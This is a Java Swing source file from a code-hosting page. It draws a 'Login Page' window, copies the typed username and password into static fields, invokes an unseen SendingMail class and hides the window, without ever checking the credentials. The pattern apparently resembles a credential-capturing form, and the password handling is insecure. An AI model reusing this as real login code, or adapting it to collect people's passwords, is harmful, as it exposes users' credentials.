-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjdbc5.java
86 lines (81 loc) · 2.26 KB
/
jdbc5.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.sql.ResultSet;
import javax.swing.*;
public class jdbc5
implements ActionListener
{
JFrame f;
JLabel jl1;
JLabel jl2;
JLabel jl3;
JLabel jl4;
JLabel jl5;
JTextField jf1;
JTextField jf2;
JPasswordField jpas;
Container con;
JButton b1;
JButton b2;
Font fo;
static String retrievedata;
static String email;
static String password;
ResultSet rs;
jdbc5(String string)
{
f = new JFrame("Login Page");
con = new Container();
b1 = new JButton("Login");
con = f.getContentPane();
f.setSize(1500, 800);
f.setLayout(null);
con.setBackground(Color.cyan);
f.setVisible(true);
jl1 = new JLabel("Username");
jl1.setFont(new Font("Serif", 0, 24));
jl1.setForeground(Color.blue);
jl2 = new JLabel("Password");
jl2.setFont(new Font("Serif", 0, 24));
jl2.setForeground(Color.blue);
jl3 = new JLabel("");
jl3.setFont(new Font("Serif", 0, 16));
jl3.setForeground(Color.red);
jl4 = new JLabel("Login");
jl4.setFont(new Font("Serif", 0, 30));
jl4.setForeground(Color.black);
jf1 = new JTextField();
jpas = new JPasswordField();
con.add(jl1);
con.add(jpas);
con.add(jf1);
con.add(b1);
con.add(jl2);
con.add(jl3);
con.add(jl4);
jl1.setBounds(50, 100, 100, 30);
jl2.setBounds(50, 150, 100, 30);
jf1.setBounds(170, 100, 150, 30);
jpas.setBounds(170, 150, 150, 30);
jl3.setBounds(170, 180, 150, 20);
jl4.setBounds(150, 10, 100, 100);
b1.setBounds(170, 200, 90, 30);
f.setDefaultCloseOperation(3);
b1.addActionListener(this);
}
public void actionPerformed(ActionEvent ae)
{
if(ae.getSource() == b1)
{
email = jf1.getText();
password = jpas.getText();
new SendingMail();
f.setVisible(false);
}
}
public static void main(String args[])
{
new jdbc5("frame");
}
}